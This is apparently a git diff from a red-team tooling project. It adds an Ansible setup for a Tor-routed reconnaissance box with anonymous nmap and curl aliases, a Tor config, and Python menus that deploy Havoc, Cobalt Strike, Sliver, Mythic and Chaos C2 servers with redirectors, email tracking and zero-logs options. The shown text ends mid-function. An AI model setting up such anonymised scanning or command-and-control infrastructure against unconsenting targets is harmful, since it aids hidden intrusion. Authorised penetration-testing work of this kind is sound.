||||||
|
resolv-retry infinite
|
||||||
|
nobind
|
||||||
|
persist-key
|
||||||
|
persist-tun
|
||||||
|
cipher AES-256-CBC
|
||||||
|
verb 3
|
||||||
|
|
||||||
|
# Add certificates here:
|
||||||
|
# <ca>
|
||||||
|
# </ca>
|
||||||
|
# <cert>
|
||||||
|
# </cert>
|
||||||
|
# <key>
|
||||||
|
# </key>
|
||||||
|
dest: "{{ work_dir }}/vpn/quick-recon-client.ovpn"
|
||||||
|
owner: "{{ target_user }}"
|
||||||
|
group: "{{ target_user }}"
|
||||||
|
mode: '0644'
|
||||||
|
when: setup_vpn | default(false) | bool
|
||||||
|
|
||||||
|
# No domain/nginx setup for Quick Recon Box - keep it minimal
|
||||||
|
|
||||||
|
- name: Create quick aliases for OPSEC operations
|
||||||
|
ansible.builtin.lineinfile:
|
||||||
|
path: "/root/.bashrc"
|
||||||
|
line: "{{ item }}"
|
||||||
|
create: yes
|
||||||
|
loop:
|
||||||
|
- "# Quick Recon Box Aliases"
|
||||||
|
- "alias qr='cd {{ work_dir }}'"
|
||||||
|
- "alias tor-nmap='torsocks nmap'"
|
||||||
|
- "alias tor-curl='torsocks curl'"
|
||||||
|
- "alias check-tor='curl --socks5 127.0.0.1:9050 https://check.torproject.org/api/ip'"
|
||||||
|
- "export TMUX_TMPDIR=/root/.local/share/tmux"
|
||||||
|
|
||||||
|
- name: Create persistent tmux socket directory
|
||||||
|
ansible.builtin.file:
|
||||||
|
path: /root/.local/share/tmux
|
||||||
|
state: directory
|
||||||
|
mode: '0700'
|
||||||
|
|
||||||
|
- name: Create simple quick reference
|
||||||
|
ansible.builtin.copy:
|
||||||
|
content: |
|
||||||
|
# Quick Recon Box
|
||||||
|
|
||||||
|
## Basic Tools Installed:
|
||||||
|
- nmap, netcat, curl, wget, dig, whois, traceroute, python3
|
||||||
|
- tor + torsocks (anonymous operations)
|
||||||
|
{% if setup_vpn | default(false) %}- openvpn (VPN server){% endif %}
|
||||||
|
|
||||||
|
## Quick Commands:
|
||||||
|
- tor-nmap target.com # Anonymous nmap scan
|
||||||
|
- tor-curl target.com # Anonymous web request
|
||||||
|
- check-tor # Verify Tor connection
|
||||||
|
- qr # Go to working directory
|
||||||
|
|
||||||
|
## Working Directory: {{ work_dir }}
|
||||||
|
- Scans: {{ work_dir }}/scans/
|
||||||
|
- Notes: {{ work_dir }}/notes/
|
||||||
|
- Loot: {{ work_dir }}/loot/
|
||||||
|
|
||||||
|
Add tools as needed: apt install <tool>
|
||||||
|
dest: /root/QUICK_RECON_GUIDE.txt
|
||||||
|
mode: '0644'
|
||||||
|
|
||||||
|
- name: Final setup completion message
|
||||||
|
debug:
|
||||||
|
msg: |
|
||||||
|
================================================================
|
||||||
|
QUICK RECON BOX SETUP COMPLETE!
|
||||||
|
================================================================
|
||||||
|
|
||||||
|
Basic tools installed:
|
||||||
|
✓ nmap, netcat, curl, wget, dig, whois, traceroute
|
||||||
|
✓ python3, git, vim, tmux, jq
|
||||||
|
|
||||||
|
OPSEC features enabled:
|
||||||
|
✓ Tor proxy (localhost:9050)
|
||||||
|
✓ Torsocks for anonymous operations
|
||||||
|
✓ Proxychains4 configured
|
||||||
|
{% if setup_vpn | default(false) %}✓ OpenVPN server ready{% endif %}
|
||||||
|
{% if setup_domain | default(false) %}✓ Domain {{ domain }} configured{% endif %}
|
||||||
|
|
||||||
|
Quick commands:
|
||||||
|
✓ tor-nmap, tor-curl, tor-dig for anonymous recon
|
||||||
|
✓ check-tor to verify anonymity
|
||||||
|
✓ qr to go to working directory
|
||||||
|
|
||||||
|
Quick Reference: /root/QUICK_RECON_GUIDE.txt
|
||||||
|
Working Directory: {{ work_dir }}
|
||||||
|
|
||||||
|
Ready for additional tool installation as needed!
|
||||||
|
================================================================
|
||||||
@@ -0,0 +1,36 @@
|
|||||||
|
# Tor configuration for Quick Recon Box
|
||||||
|
# Generated: {{ ansible_date_time.iso8601 }}
|
||||||
|
|
||||||
|
# Basic Tor configuration
|
||||||
|
DataDirectory /var/lib/tor
|
||||||
|
PidFile /var/run/tor/tor.pid
|
||||||
|
RunAsDaemon 1
|
||||||
|
User debian-tor
|
||||||
|
|
||||||
|
# Logging
|
||||||
|
Log notice file /var/log/tor/notices.log
|
||||||
|
|
||||||
|
# SOCKS proxy for applications
|
||||||
|
SocksPort 9050
|
||||||
|
SocksPolicy accept *
|
||||||
|
|
||||||
|
# Control port for advanced usage
|
||||||
|
ControlPort 9051
|
||||||
|
CookieAuthentication 1
|
||||||
|
|
||||||
|
# Circuit settings for better anonymity
|
||||||
|
NewCircuitPeriod 30
|
||||||
|
MaxCircuitDirtiness 600
|
||||||
|
UseEntryGuards 1
|
||||||
|
|
||||||
|
# Exit policy - allow common ports for recon
|
||||||
|
ExitPolicy accept *:53 # DNS
|
||||||
|
ExitPolicy accept *:80 # HTTP
|
||||||
|
ExitPolicy accept *:443 # HTTPS
|
||||||
|
ExitPolicy accept *:993 # IMAPS
|
||||||
|
ExitPolicy accept *:995 # POP3S
|
||||||
|
ExitPolicy reject *:*
|
||||||
|
|
||||||
|
# Performance tuning for reconnaissance
|
||||||
|
CircuitBuildTimeout 10
|
||||||
|
LearnCircuitBuildTimeout 0
|
||||||
@@ -0,0 +1,316 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
"""
|
||||||
|
C2 infrastructure deployment module
|
||||||
|
"""
|
||||||
|
|
||||||
|
import os
|
||||||
|
import sys
|
||||||
|
import logging
|
||||||
|
|
||||||
|
# Add the project root to the path so we can import utils
|
||||||
|
sys.path.append(os.path.join(os.path.dirname(__file__), '..', '..'))
|
||||||
|
|
||||||
|
from utils.common import (
|
||||||
|
COLORS, clear_screen, print_banner, generate_deployment_id,
|
||||||
|
setup_logging, get_public_ip, confirm_action, wait_for_input,
|
||||||
|
archive_old_logs
|
||||||
|
)
|
||||||
|
from utils.provider_utils import select_provider, gather_provider_config
|
||||||
|
from utils.ssh_utils import generate_ssh_key
|
||||||
|
from utils.naming_utils import get_deployment_name_with_options
|
||||||
|
|
||||||
|
def gather_c2_parameters():
|
||||||
|
"""Collect parameters specific to C2 deployments"""
|
||||||
|
clear_screen()
|
||||||
|
print_banner()
|
||||||
|
print(f"{COLORS['WHITE']}C2 INFRASTRUCTURE SETUP{COLORS['RESET']}")
|
||||||
|
print(f"{COLORS['WHITE']}========================{COLORS['RESET']}")
|
||||||
|
|
||||||
|
config = {}
|
||||||
|
|
||||||
|
# Generate deployment ID
|
||||||
|
config['deployment_id'] = generate_deployment_id()
|
||||||
|
print(f"Deployment ID: {COLORS['CYAN']}{config['deployment_id']}{COLORS['RESET']}")
|
||||||
|
|
||||||
|
# Provider selection
|
||||||
|
provider = select_provider()
|
||||||
|
if not provider:
|
||||||
|
return None
|
||||||
|
config['provider'] = provider
|
||||||
|
|
||||||
|
# Get provider-specific configuration
|
||||||
|
provider_config = gather_provider_config(provider)
|
||||||
|
if not provider_config:
|
||||||
|
return None
|
||||||
|
config.update(provider_config)
|
||||||
|
|
||||||
|
# C2-specific configuration
|
||||||
|
print(f"\n{COLORS['BLUE']}C2 Configuration{COLORS['RESET']}")
|
||||||
|
|
||||||
|
# Domain configuration
|
||||||
|
domain = input(f"Domain for C2 infrastructure [required]: ")
|
||||||
|
if not domain:
|
||||||
|
print(f"{COLORS['RED']}A domain is required for C2 deployments{COLORS['RESET']}")
|
||||||
|
return None
|
||||||
|
config['domain'] = domain
|
||||||
|
|
||||||
|
# Subdomain configuration
|
||||||
|
config['c2_subdomain'] = input("C2 server subdomain [default: mail]: ") or "mail"
|
||||||
|
|
||||||
|
# Instance naming options
|
||||||
|
config['redirector_name'] = get_deployment_name_with_options(
|
||||||
|
deployment_type='redirector',
|
||||||
|
deployment_id=config['deployment_id'],
|
||||||
|
prefix='r-'
|
||||||
|
)
|
||||||
|
|
||||||
|
config['c2_name'] = get_deployment_name_with_options(
|
||||||
|
deployment_type='c2',
|
||||||
|
deployment_id=config['deployment_id'],
|
||||||
|
prefix='s-'
|
||||||
|
)
|
||||||
|
|
||||||
|
# C2 Framework selection
|
||||||
|
print(f"\n{COLORS['BLUE']}C2 Framework Selection:{COLORS['RESET']}")
|
||||||
|
print(f"1) Havoc")
|
||||||
|
print(f"2) Cobalt Strike")
|
||||||
|
print(f"3) Sliver")
|
||||||
|
print(f"4) Mythic")
|
||||||
|
print(f"5) Custom")
|
||||||
|
|
||||||
|
framework_choice = input("Select C2 framework [default: 1]: ") or "1"
|
||||||
|
frameworks = {
|
||||||
|
"1": "havoc",
|
||||||
|
"2": "cobaltstrike",
|
||||||
|
"3": "sliver",
|
||||||
|
"4": "mythic",
|
||||||
|
"5": "custom"
|
||||||
|
}
|
||||||
|
config['c2_framework'] = frameworks.get(framework_choice, "havoc")
|
||||||
|
|
||||||
|
# Email for Let's Encrypt
|
||||||
|
default_email = f"admin@{config['domain']}"
|
||||||
|
config['letsencrypt_email'] = input(f"Email for Let's Encrypt [default: {default_email}]: ") or default_email
|
||||||
|
|
||||||
|
# Get operator IP for security
|
||||||
|
suggested_ip = get_public_ip()
|
||||||
|
if suggested_ip:
|
||||||
|
operator_ip = input(f"Your public IP for secure access [detected: {suggested_ip}]: ") or suggested_ip
|
||||||
|
else:
|
||||||
|
operator_ip = input("Your public IP for secure access: ")
|
||||||
|
config['operator_ip'] = operator_ip
|
||||||
|
|
||||||
|
# SSH key generation
|
||||||
|
ssh_key_path = generate_ssh_key(config['deployment_id'])
|
||||||
|
if not ssh_key_path:
|
||||||
|
print(f"{COLORS['RED']}Failed to generate SSH key{COLORS['RESET']}")
|
||||||
|
return None
|
||||||
|
config['ssh_key_path'] = f"{ssh_key_path}.pub"
|
||||||
|
|
||||||
|
# SMTP Configuration for email services
|
||||||
|
print(f"\n{COLORS['BLUE']}SMTP Configuration{COLORS['RESET']}")
|
||||||
|
config['smtp_auth_user'] = input("SMTP authentication username [default: admin]: ") or "admin"
|
||||||
|
|
||||||
|
import secrets
|
||||||
|
import string
|
||||||
|
def generate_random_password(length=16):
|
||||||
|
alphabet = string.ascii_letters + string.digits + "!@#$%^&*"
|
||||||
|
password = ''.join(secrets.choice(alphabet) for _ in range(length))
|
||||||
|
return password
|
||||||
|
|
||||||
|
default_password = generate_random_password()
|
||||||
|
smtp_password = input(f"SMTP authentication password [default: random generated]: ")
|
||||||
|
config['smtp_auth_pass'] = smtp_password if smtp_password else default_password
|
||||||
|
|
||||||
|
print(f"{COLORS['GREEN']}SMTP Credentials:{COLORS['RESET']}")
|
||||||
|
print(f" Username: {config['smtp_auth_user']}")
|
||||||
|
print(f" Password: {config['smtp_auth_pass']}")
|
||||||
|
print(f"{COLORS['YELLOW']}Note: These credentials will be saved in the deployment info file{COLORS['RESET']}")
|
||||||
|
|
||||||
|
# Security Configuration
|
||||||
|
print(f"\n{COLORS['BLUE']}Security Configuration{COLORS['RESET']}")
|
||||||
|
zero_logs_choice = input("Enable zero-logs configuration? (y/n) [default: y]: ").lower()
|
||||||
|
config['zero_logs'] = zero_logs_choice != 'n' # Default to True unless explicitly 'n'
|
||||||
|
|
||||||
|
# Post-deployment options
|
||||||
|
config['ssh_after_deploy'] = confirm_action("SSH into instance after deployment?", default=True)
|
||||||
|
|
||||||
|
return config
|
||||||
|
|
||||||
|
def c2_menu():
|
||||||
|
"""Display the C2 submenu and handle user selection"""
|
||||||
|
while True:
|
||||||
|
clear_screen()
|
||||||
|
print_banner()
|
||||||
|
print(f"{COLORS['WHITE']}C2 INFRASTRUCTURE MENU{COLORS['RESET']}")
|
||||||
|
print(f"{COLORS['WHITE']}======================={COLORS['RESET']}")
|
||||||
|
print(f"1) C2 Server Only {COLORS['GREEN']}*QUICK*{COLORS['RESET']} {COLORS['GRAY']}(Basic setup){COLORS['RESET']}")
|
||||||
|
print(f"2) Havoc C2 Server {COLORS['GRAY']}(Modern C2 framework){COLORS['RESET']}")
|
||||||
|
print(f"3) Sliver Server {COLORS['GRAY']}(Go-based C2){COLORS['RESET']}")
|
||||||
|
print(f"4) Cobalt Strike Server {COLORS['GRAY']}(Commercial C2){COLORS['RESET']}")
|
||||||
|
print(f"5) Mythic Server {COLORS['GRAY']}(Cross-platform C2){COLORS['RESET']}")
|
||||||
|
print(f"6) C2 + Redirector {COLORS['GRAY']}(C2 with traffic redirection){COLORS['RESET']}")
|
||||||
|
print(f"7) Full C2 Infrastructure {COLORS['GRAY']}(Complete multi-tier setup){COLORS['RESET']}")
|
||||||
|
print(f"99) Return to Main Menu")
|
||||||
|
|
||||||
|
choice = input(f"\nSelect an option: ")
|
||||||
|
|
||||||
|
if choice == "1":
|
||||||
|
deploy_c2_only()
|
||||||
|
elif choice == "2":
|
||||||
|
deploy_havoc_c2()
|
||||||
|
elif choice == "3":
|
||||||
|
deploy_sliver_c2()
|
||||||
|
elif choice == "4":
|
||||||
|
deploy_cobaltstrike_c2()
|
||||||
|
elif choice == "5":
|
||||||
|
deploy_mythic_c2()
|
||||||
|
elif choice == "6":
|
||||||
|
deploy_c2_with_redirector()
|
||||||
|
elif choice == "7":
|
||||||
|
deploy_full_c2()
|
||||||
|
elif choice == "99":
|
||||||
|
return
|
||||||
|
else:
|
||||||
|
print(f"\n{COLORS['RED']}Invalid option. Please try again.{COLORS['RESET']}")
|
||||||
|
wait_for_input()
|
||||||
|
|
||||||
|
def deploy_c2_only():
|
||||||
|
"""Deploy C2 server only"""
|
||||||
|
config = gather_c2_parameters()
|
||||||
|
if not config:
|
||||||
|
return
|
||||||
|
|
||||||
|
config['deployment_type'] = 'c2_only'
|
||||||
|
config['c2_only'] = True
|
||||||
|
|
||||||
|
print(f"\n{COLORS['GREEN']}Deploying C2 server only...{COLORS['RESET']}")
|
||||||
|
execute_c2_deployment(config)
|
||||||
|
|
||||||
|
def deploy_c2_with_redirector():
|
||||||
|
"""Deploy C2 server with redirector"""
|
||||||
|
config = gather_c2_parameters()
|
||||||
|
if not config:
|
||||||
|
return
|
||||||
|
|
||||||
|
# Additional redirector configuration
|
||||||
|
config['redirector_subdomain'] = input("Redirector subdomain [default: cdn]: ") or "cdn"
|
||||||
|
|
||||||
|
config['deployment_type'] = 'c2_with_redirector'
|
||||||
|
config['deploy_redirector'] = True
|
||||||
|
|
||||||
|
print(f"\n{COLORS['GREEN']}Deploying C2 server with redirector...{COLORS['RESET']}")
|
||||||
|
execute_c2_deployment(config)
|
||||||
|
|
||||||
|
def deploy_full_c2():
|
||||||
|
"""Deploy full C2 infrastructure"""
|
||||||
|
config = gather_c2_parameters()
|
||||||
|
if not config:
|
||||||
|
return
|
||||||
|
|
||||||
|
# Additional configuration for full deployment
|
||||||
|
config['redirector_subdomain'] = input("Redirector subdomain [default: cdn]: ") or "cdn"
|
||||||
|
|
||||||
|
config['deployment_type'] = 'full_c2'
|
||||||
|
config['deploy_redirector'] = True
|
||||||
|
config['deploy_tracker'] = confirm_action("Deploy email tracker?", default=False)
|
||||||
|
|
||||||
|
print(f"\n{COLORS['GREEN']}Deploying full C2 infrastructure...{COLORS['RESET']}")
|
||||||
|
execute_c2_deployment(config)
|
||||||
|
|
||||||
|
def deploy_havoc_c2():
|
||||||
|
"""Deploy Havoc C2 server specifically"""
|
||||||
|
config = gather_c2_parameters()
|
||||||
|
if not config:
|
||||||
|
return
|
||||||
|
|
||||||
|
config['c2_framework'] = 'havoc'
|
||||||
|
config['deployment_type'] = 'havoc_c2'
|
||||||
|
|
||||||
|
print(f"\n{COLORS['GREEN']}Deploying Havoc C2 server...{COLORS['RESET']}")
|
||||||
|
execute_c2_deployment(config)
|
||||||
|
|
||||||
|
def deploy_cobaltstrike_c2():
|
||||||
|
"""Deploy Cobalt Strike server specifically"""
|
||||||
|
config = gather_c2_parameters()
|
||||||
|
if not config:
|
||||||
|
return
|
||||||
|
|
||||||
|
config['c2_framework'] = 'cobaltstrike'
|
||||||
|
config['deployment_type'] = 'cobaltstrike_c2'
|
||||||
|
|
||||||
|
# Cobalt Strike specific configuration
|
||||||
|
license_path = input("Path to Cobalt Strike license file [optional]: ")
|
||||||
|
if license_path:
|
||||||
|
config['cobaltstrike_license'] = license_path
|
||||||
|
|
||||||
|
print(f"\n{COLORS['GREEN']}Deploying Cobalt Strike server...{COLORS['RESET']}")
|
||||||
|
execute_c2_deployment(config)
|
||||||
|
|
||||||
|
def deploy_sliver_c2():
|
||||||
|
"""Deploy Sliver C2 server specifically"""
|
||||||
|
config = gather_c2_parameters()
|
||||||
|
if not config:
|
||||||
|
return
|
||||||
|
|
||||||
|
config['c2_framework'] = 'sliver'
|
||||||
|
config['deployment_type'] = 'sliver_c2'
|
||||||
|
|
||||||
|
print(f"\n{COLORS['GREEN']}Deploying Sliver C2 server...{COLORS['RESET']}")
|
||||||
|
execute_c2_deployment(config)
|
||||||
|
|
||||||
|
def deploy_mythic_c2():
|
||||||
|
"""Deploy Mythic C2 server specifically"""
|
||||||
|
config = gather_c2_parameters()
|
||||||
|
if not config:
|
||||||
|
return
|
||||||
|
|
||||||
|
config['c2_framework'] = 'mythic'
|
||||||
|
config['deployment_type'] = 'mythic_c2'
|
||||||
|
|
||||||
|
print(f"\n{COLORS['GREEN']}Deploying Mythic C2 server...{COLORS['RESET']}")
|
||||||
|
execute_c2_deployment(config)
|
||||||
|
|
||||||
|
def execute_c2_deployment(config):
|
||||||
|
"""Execute C2 infrastructure deployment"""
|
||||||
|
clear_screen()
|
||||||
|
print_banner()
|
||||||
|
print(f"\n{COLORS['GREEN']}Starting C2 deployment...{COLORS['RESET']}")
|
||||||
|
|
||||||
|
# Archive old logs before starting new deployment
|
||||||
|
print(f"Archiving old logs...")
|
||||||
|
archive_old_logs(max_logs_to_keep=5) # Keep last 5 deployments
|
||||||
|
|
||||||
|
# Set up logging
|
||||||
|
log_file = setup_logging(config['deployment_id'], "c2_deployment")
|
||||||
|
|
||||||
|
# Display configuration summary
|
||||||
|
print(f"\n{COLORS['CYAN']}Deployment Summary:{COLORS['RESET']}")
|
||||||
|
print(f"Deployment Type: {config['deployment_type']}")
|
||||||
|
print(f"Deployment ID: {config['deployment_id']}")
|
||||||
|
print(f"Provider: {config['provider']}")
|
||||||
|
print(f"Domain: {config['domain']}")
|
||||||
|
print(f"C2 Framework: {config['c2_framework']}")
|
||||||
|
|
||||||
|
# Confirm deployment
|
||||||
|
if not confirm_action(f"\n{COLORS['YELLOW']}Proceed with C2 deployment?{COLORS['RESET']}", default=False):
|
||||||
|
print(f"\n{COLORS['YELLOW']}Deployment cancelled.{COLORS['RESET']}")
|
||||||
|
return
|
||||||
|
|
||||||
|
# Execute the actual deployment using the deployment engine
|
||||||
|
from utils.deployment_engine import deploy_infrastructure
|
||||||
|
success = deploy_infrastructure(config)
|
||||||
|
|
||||||
|
if success:
|
||||||
|
print(f"\n{COLORS['GREEN']}C2 infrastructure deployed successfully!{COLORS['RESET']}")
|
||||||
|
|
||||||
|
if config.get('ssh_after_deploy'):
|
||||||
|
from utils.ssh_utils import ssh_to_instance
|
||||||
|
ssh_to_instance(config)
|
||||||
|
else:
|
||||||
|
print(f"\n{COLORS['RED']}C2 infrastructure deployment failed.{COLORS['RESET']}")
|
||||||
|
|
||||||
|
wait_for_input()
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
c2_menu()
|
||||||
@@ -0,0 +1,447 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
"""
|
||||||
|
Chaos C2 — c2itall integration module
|
||||||
|
Deploy and manage the Chaos C2 framework (Havoc fork) locally or on a remote host.
|
||||||
|
"""
|
||||||
|
|
||||||
|
import os
|
||||||
|
import sys
|
||||||
|
import subprocess
|
||||||
|
import glob
|
||||||
|
|
||||||
|
# Add parent paths for imports
|
||||||
|
sys.path.append(os.path.join(os.path.dirname(__file__), '..', '..'))
|
||||||
|
from utils.common import COLORS, clear_screen, print_banner, wait_for_input
|
||||||
|
|
||||||
|
# ─── Path Registry ────────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
CHAOS_PATH = os.path.expanduser('~/tools/chaos')
|
||||||
|
INSTALL_SH = os.path.join(CHAOS_PATH, 'Install.sh')
|
||||||
|
TEAMSERVER = os.path.join(CHAOS_PATH, 'teamserver')
|
||||||
|
DATA_DIR = os.path.join(CHAOS_PATH, 'data')
|
||||||
|
LOGS_DIR = os.path.join(DATA_DIR, 'logs')
|
||||||
|
WS_PATH_FILE = os.path.join(DATA_DIR, '.ws_path')
|
||||||
|
PROFILES_DIR = os.path.join(CHAOS_PATH, 'profiles')
|
||||||
|
|
||||||
|
|
||||||
|
# ─── SSH helpers ──────────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
def _build_ssh_cmd(host, ssh_user, ssh_port, ssh_key, command=None, interactive=False):
|
||||||
|
"""Build an SSH command list."""
|
||||||
|
cmd = ['ssh']
|
||||||
|
if ssh_key:
|
||||||
|
cmd.extend(['-i', ssh_key])
|
||||||
|
cmd.extend(['-p', str(ssh_port)])
|
||||||
|
known_hosts = os.path.expanduser('~/.ssh/c2deploy_chaos_known_hosts')
|
||||||
|
cmd.extend([
|
||||||
|
'-o', 'StrictHostKeyChecking=accept-new',
|
||||||
|
'-o', f'UserKnownHostsFile={known_hosts}',
|
||||||
|
'-o', 'IdentitiesOnly=yes',
|
||||||
|
])
|
||||||
|
if interactive:
|
||||||
|
cmd.append('-t')
|
||||||
|
cmd.append(f'{ssh_user}@{host}')
|
||||||
|
if command:
|
||||||
|
cmd.append(command)
|
||||||
|
return cmd
|
||||||
|
|
||||||
|
|
||||||
|
def _build_scp_cmd(ssh_port, ssh_key=None):
|
||||||
|
"""Build base SCP command with consistent SSH options."""
|
||||||
|
known_hosts = os.path.expanduser('~/.ssh/c2deploy_chaos_known_hosts')
|
||||||
|
cmd = [
|
||||||
|
'scp',
|
||||||
|
'-P', str(ssh_port),
|
||||||
|
'-o', 'StrictHostKeyChecking=accept-new',
|
||||||
|
'-o', f'UserKnownHostsFile={known_hosts}',
|
||||||
|
]
|
||||||
|
if ssh_key:
|
||||||
|
cmd.extend(['-i', ssh_key])
|
||||||
|
return cmd
|
||||||
|
|
||||||
|
|
||||||
|
# ─── Remote target prompt ─────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
def _prompt_remote_target():
|
||||||
|
"""Prompt for host/user/port/key. Returns (host, user, port, key) or None on cancel."""
|
||||||
|
print(f"\n{COLORS['CYAN']}Remote Target{COLORS['RESET']}")
|
||||||
|
print(f"{COLORS['WHITE']}============={COLORS['RESET']}")
|
||||||
|
|
||||||
|
host = input(f" Remote host (IP or hostname): ").strip()
|
||||||
|
if not host:
|
||||||
|
print(f"{COLORS['YELLOW']}No host provided{COLORS['RESET']}")
|
||||||
|
return None, None, None, None
|
||||||
|
|
||||||
|
ssh_user = input(f" SSH user [{COLORS['CYAN']}root{COLORS['RESET']}]: ").strip() or 'root'
|
||||||
|
ssh_port_raw = input(f" SSH port [{COLORS['CYAN']}22{COLORS['RESET']}]: ").strip() or '22'
|
||||||
|
try:
|
||||||
|
ssh_port = int(ssh_port_raw)
|
||||||
|
except ValueError:
|
||||||
|
ssh_port = 22
|
||||||
|
|
||||||
|
ssh_key = input(f" SSH key path (blank for default): ").strip() or None
|
||||||
|
return host, ssh_user, ssh_port, ssh_key
|
||||||
|
|
||||||
|
|
||||||
|
# ─── Profile selection ────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
def _select_profile(label="Select profile"):
|
||||||
|
"""List available profiles and let the user choose one. Returns path or None."""
|
||||||
|
profiles = []
|
||||||
|
if os.path.isdir(PROFILES_DIR):
|
||||||
|
for ext in ('*.toml', '*.yaotl', '*.yaml', '*.yml'):
|
||||||
|
profiles.extend(glob.glob(os.path.join(PROFILES_DIR, ext)))
|
||||||
|
profiles.sort()
|
||||||
|
|
||||||
|
if not profiles:
|
||||||
|
print(f" {COLORS['YELLOW']}No profiles found in {PROFILES_DIR}{COLORS['RESET']}")
|
||||||
|
manual = input(f" Enter profile path manually (blank to cancel): ").strip()
|
||||||
|
return manual or None
|
||||||
|
|
||||||
|
print(f"\n {COLORS['CYAN']}{label}:{COLORS['RESET']}")
|
||||||
|
for i, p in enumerate(profiles, 1):
|
||||||
|
print(f" {i}) {os.path.basename(p)}")
|
||||||
|
|
||||||
|
raw = input(f"\n Select [1]: ").strip() or '1'
|
||||||
|
try:
|
||||||
|
idx = int(raw) - 1
|
||||||
|
if 0 <= idx < len(profiles):
|
||||||
|
return profiles[idx]
|
||||||
|
except ValueError:
|
||||||
|
pass
|
||||||
|
|
||||||
|
print(f" {COLORS['YELLOW']}Invalid selection — using first profile{COLORS['RESET']}")
|
||||||
|
return profiles[0]
|
||||||
|
|
||||||
|
|
||||||
|
# ─── Local actions ────────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
def _deploy_local():
|
||||||
|
"""Run Install.sh locally after a pre-flight check."""
|
||||||
|
if not os.path.exists(INSTALL_SH):
|
||||||
|
print(f"\n{COLORS['RED']}Install.sh not found at {INSTALL_SH}{COLORS['RESET']}")
|
||||||
|
print(f"{COLORS['YELLOW']}Clone the Chaos repo to ~/tools/chaos first{COLORS['RESET']}")
|
||||||
|
wait_for_input()
|
||||||
|
return
|
||||||
|
|
||||||
|
print(f"\n{COLORS['CYAN']}Running pre-flight check (Install.sh --check)...{COLORS['RESET']}")
|
||||||
|
check_result = subprocess.run(
|
||||||
|
['bash', INSTALL_SH, '--check'],
|
||||||
|
cwd=CHAOS_PATH,
|
||||||
|
capture_output=True,
|
||||||
|
text=True,
|
||||||
|
)
|
||||||
|
if check_result.stdout:
|
||||||
|
print(check_result.stdout)
|
||||||
|
if check_result.stderr:
|
||||||
|
print(check_result.stderr)
|
||||||
|
|
||||||
|
if check_result.returncode != 0:
|
||||||
|
print(f"{COLORS['YELLOW']}Pre-flight check reported issues (rc={check_result.returncode}) — continue anyway? (y/N): {COLORS['RESET']}", end='')
|
||||||
|
if input().strip().lower() != 'y':
|
||||||
|
wait_for_input()
|
||||||
|
return
|
||||||
|
|
||||||
|
print(f"\n{COLORS['CYAN']}Installing Chaos C2 locally...{COLORS['RESET']}")
|
||||||
|
print(f"{COLORS['YELLOW']}Note: script may require sudo — you may be prompted for your password.{COLORS['RESET']}\n")
|
||||||
|
try:
|
||||||
|
subprocess.run(['bash', INSTALL_SH], cwd=CHAOS_PATH)
|
||||||
|
except KeyboardInterrupt:
|
||||||
|
print(f"\n{COLORS['YELLOW']}Installation interrupted{COLORS['RESET']}")
|
||||||
|
wait_for_input()
|
||||||
|
|
||||||
|
|
||||||
|
def _deploy_remote():
|
||||||
|
"""SCP the chaos repo to a remote host and run Install.sh over SSH."""
|
||||||
|
if not os.path.isdir(CHAOS_PATH):
|
||||||
|
print(f"\n{COLORS['RED']}Chaos source not found at {CHAOS_PATH}{COLORS['RESET']}")
|
||||||
|
wait_for_input()
|
||||||
|
return
|
||||||
|
|
||||||
|
host, ssh_user, ssh_port, ssh_key = _prompt_remote_target()
|
||||||
|
if not host:
|
||||||
|
wait_for_input()
|
||||||
|
return
|
||||||
|
|
||||||
|
remote_staging = '/tmp/chaos-deploy'
|
||||||
|
|
||||||
|
print(f"\n{COLORS['CYAN']}Creating remote staging directory on {ssh_user}@{host}...{COLORS['RESET']}")
|
||||||
|
mkdir_cmd = _build_ssh_cmd(host, ssh_user, ssh_port, ssh_key,
|
||||||
|
f'rm -rf {remote_staging} && mkdir -p {remote_staging}')
|
||||||
|
result = subprocess.run(mkdir_cmd, capture_output=True, text=True)
|
||||||
|
if result.returncode != 0:
|
||||||
|
print(f"{COLORS['RED']}Failed to create remote staging dir: {result.stderr}{COLORS['RESET']}")
|
||||||
|
wait_for_input()
|
||||||
|
return
|
||||||
|
|
||||||
|
print(f"{COLORS['CYAN']}Copying Chaos to {ssh_user}@{host}:{remote_staging}...{COLORS['RESET']}")
|
||||||
|
scp_cmd = _build_scp_cmd(ssh_port, ssh_key)
|
||||||
|
scp_cmd.extend(['-r', CHAOS_PATH + '/'])
|
||||||
|
scp_cmd.append(f'{ssh_user}@{host}:{remote_staging}/')
|
||||||
|
result = subprocess.run(scp_cmd, capture_output=True, text=True)
|
||||||
|
if result.returncode != 0:
|
||||||
|
print(f"{COLORS['RED']}SCP failed: {result.stderr}{COLORS['RESET']}")
|
||||||
|
wait_for_input()
|
||||||
|
return
|
||||||
|
print(f" {COLORS['GREEN']}Files copied{COLORS['RESET']}")
|
||||||
|
|
||||||
|
print(f"\n{COLORS['CYAN']}Running Install.sh on {host}...{COLORS['RESET']}")
|
||||||
|
install_cmd_str = f'cd {remote_staging} && bash Install.sh'
|
||||||
|
ssh_install = _build_ssh_cmd(host, ssh_user, ssh_port, ssh_key,
|
||||||
|
install_cmd_str, interactive=True)
|
||||||
|
try:
|
||||||
|
subprocess.run(ssh_install)
|
||||||
|
except KeyboardInterrupt:
|
||||||
|
print(f"\n{COLORS['YELLOW']}Remote install interrupted{COLORS['RESET']}")
|
||||||
|
|
||||||
|
wait_for_input()
|
||||||
|
|
||||||
|
|
||||||
|
def _start_teamserver():
|
||||||
|
"""Start the Chaos teamserver with a selected profile."""
|
||||||
|
if not os.path.exists(TEAMSERVER):
|
||||||
|
print(f"\n{COLORS['RED']}teamserver binary not found at {TEAMSERVER}{COLORS['RESET']}")
|
||||||
|
print(f"{COLORS['YELLOW']}Run 'Deploy Chaos (local)' first to build it{COLORS['RESET']}")
|
||||||
|
wait_for_input()
|
||||||
|
return
|
||||||
|
|
||||||
|
profile = _select_profile("Select listener profile")
|
||||||
|
if not profile:
|
||||||
|
print(f"{COLORS['YELLOW']}No profile selected — aborting{COLORS['RESET']}")
|
||||||
|
wait_for_input()
|
||||||
|
return
|
||||||
|
|
||||||
|
